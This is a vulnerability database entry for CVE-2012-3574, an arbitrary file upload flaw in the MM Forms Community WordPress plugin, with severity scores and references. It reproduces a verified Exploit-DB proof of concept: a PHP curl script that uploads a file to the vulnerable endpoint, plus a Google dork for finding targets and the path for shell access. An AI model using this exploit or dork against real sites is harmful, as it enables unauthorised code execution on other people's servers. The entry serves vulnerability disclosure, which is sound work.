CVE-2012-3574 : Detail

CVE-2012-3574

10.16%V3
Network
2012-06-15
22h00 +00:00
2017-08-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Unrestricted file upload vulnerability in includes/doajaxfileupload.php in the MM Forms Community plugin 2.2.5 and 2.2.6 for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in upload/temp.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 18997

Publication date : 2012-06-05 22h00 +00:00
Author : Sammy FORGIT
EDB Verified : Yes

################################################## # Description : Wordpress Plugins - MM Forms Community Arbitrary File Upload Vulnerability # Version : 2.2.5 - 2.2.6 # Link : http://wordpress.org/extend/plugins/mm-forms-community/ # Plugins : http://downloads.wordpress.org/plugin/mm-forms-community.zip # Date : 24-05-2012 # Google Dork : inurl:/wp-content/plugins/mm-forms-community/ # Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr ################################################## Exploit : PostShell.php <?php $uploadfile="lo.php"; $ch = curl_init("http://www.exemple.com/wordpress/wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('fileToUpload'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> Shell Access : http://www.exemple.com/wordpress/wp-content/plugins/mm-forms-community/upload/temp/ Filename : $postResult output lo.php <?php phpinfo(); ?>

Products Mentioned

Configuraton 0

Tbelmans>>Mm_forms_community >> Version 2.2.5

Tbelmans>>Mm_forms_community >> Version 2.2.6

Wordpress>>Wordpress >> Version -

References

http://secunia.com/advisories/49411
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.exploit-db.com/exploits/18997
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/53852
Tags : vdb-entry, x_refsource_BID